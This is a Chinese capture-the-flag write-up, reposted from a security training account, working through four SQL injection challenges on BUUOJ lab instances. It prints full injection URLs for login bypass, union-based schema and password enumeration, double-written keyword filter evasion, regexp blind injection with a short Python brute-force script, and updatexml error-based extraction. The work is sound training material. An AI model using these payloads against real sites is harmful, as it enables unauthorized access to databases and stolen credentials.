【学员分享】极客大挑战

admin 2021年4月8日00:08:50评论70 views字数 3547阅读11分49秒阅读模式

本文作者:徐晖(WEB安全星球学员)

                               

                           EASYsql


【学员分享】极客大挑战

直接万能密码就可以直接登进 admin’or 1=1#

【学员分享】极客大挑战

                             

                            LoveSQL


尝试使用万能密码登入成功但找不到flag

用union 注入

http://b69452fd-7520-4c94-ac1c-942ce5bc2a9b.node3.buuoj.cn/check.php?username=admin‘||1=1&password=123456' orderby 3%23

查询字段为3

 

查询数据库

http://b69452fd-7520-4c94-ac1c-942ce5bc2a9b.node3.buuoj.cn/check.php?username=admin‘||1=1&password=123456'union select 1,database(),database()%23

【学员分享】极客大挑战

查询表

http://b69452fd-7520-4c94-ac1c-942ce5bc2a9b.node3.buuoj.cn/check.php?username=admin‘||1=1&password=123456'union select 1,group_concat(table_name) ,group_concat(table_name)   from informatioN_schema.tables wheretable_schema=database()%23

【学员分享】极客大挑战

查询 geekuser,love1ysq1的字段

http://b69452fd-7520-4c94-ac1c-942ce5bc2a9b.node3.buuoj.cn/check.php?username=admin‘||1=1&password=123456'union select 1,group_concat(column_name) ,3 from informatioN_schema.columns where table_name='geekuser'%23

 

都是id,username,password

查询字段可以找到flag


                              BabySQL


先使用万能密码发现or被过滤了改成||绕过成功,登陆进去依旧没有flag

将or改为ooro成功怀疑是双写绕过

发现过滤了or from

http://b1a6a50a-fb91-41a1-af22-5b923574b2c8.node3.buuoj.cn/check.php?username=admin'||1%23&password=admin'oorr1=1#



查询数据库

http://b1a6a50a-fb91-41a1-af22-5b923574b2c8.node3.buuoj.cn/check.php?username=admin&password=admin'uunionnion sselectelect 1,database(),3%23


查询表

http://b1a6a50a-fb91-41a1-af22-5b923574b2c8.node3.buuoj.cn/check.php?username=admin&password=admin'uunionnion sselectelect 1,group_concat(table_name),3 ffromrominfoorrmation_schema.tables wwherehere table_schema=database()%23


【学员分享】极客大挑战

查询字段

http://b1a6a50a-fb91-41a1-af22-5b923574b2c8.node3.buuoj.cn/check.php?username=admin&password=admin'uunionnion sselectelect 1,group_concat(column_name),3 ffromrominfoorrmation_schema.columns wwherehere table_name='b4bsql'%23

【学员分享】极客大挑战

查询字段内容

http://b1a6a50a-fb91-41a1-af22-5b923574b2c8.node3.buuoj.cn/check.php?username=admin&password=admin'uunionnion sselectelect 1,group_concat(passwoorrd),3 ffromrom b4bsql%23

找到falg

 

问题:有没有什么办法可以快速的发现它过滤了哪些内容,手工判断有点慢



HardSQL


尝试使用万能密码发现不行被逮到了

测试是等于号的原因

测试发现||,空格,/ *,等于号也被过滤

尝试使用regexp正则表达式绕过

Regexp的用法类似like,见

https://www.runoob.com/mysql/mysql-regexp.html

http://3730064b-97db-4ea7-aa84-934fadd06edf.node3.buuoj.cn/check.php?username=admin'or(select(database())regexp'^a')%23&password=admin'%23

如果(slect(database())regexp’^a’的内容为真则admin’or(1)为真

【学员分享】极客大挑战

附上一个很垃圾的脚本

import requests #url="""http://13466ab0-bcaa-45d6-9eec-12c4fbd25803.node3.buuoj.cn/"""str="QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"for i in str:    url="""http://3730064b-97db-4ea7-aa84-934fadd06edf.node3.buuoj.cn/check.php?username=admin'or(select(database())regexp'^"""+i+"""')%23&password=admin'%23"""   print(url)   r=requests.get(url)   a=r.text   if 'Success' in a:       print(i)       break


每一次跑完需要自己在^前面添加i

跑出数据库GEEK

然后发现试了很久发现这个方法行不通怎么也跑不出

接着采用报错注入通过()来绕过空格

http://7e623b38-ed36-4456-9b24-d76478ed811b.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,make_set(3,0x7e,user()),1))%23&password=admin

爆表

http://7e623b38-ed36-4456-9b24-d76478ed811b.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e),1))%23&password=admin

【学员分享】极客大挑战

爆字段

http://7e623b38-ed36-4456-9b24-d76478ed811b.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))%23&password=admin

查询flag

admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))from(H4rDsq1)),0x7e),1))%23

【学员分享】极客大挑战

只爆粗了一半

原本想用mid,substr截断的但发现被过滤了

通过reverse函数取反获取flag

【学员分享】极客大挑战





扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

【学员分享】极客大挑战

目前25000+人已关注加入我们

【学员分享】极客大挑战

本文始发于微信公众号(Ms08067安全实验室):【学员分享】极客大挑战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月8日00:08:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【学员分享】极客大挑战http://cn-sec.com/archives/292816.html

发表评论

匿名网友 填写信息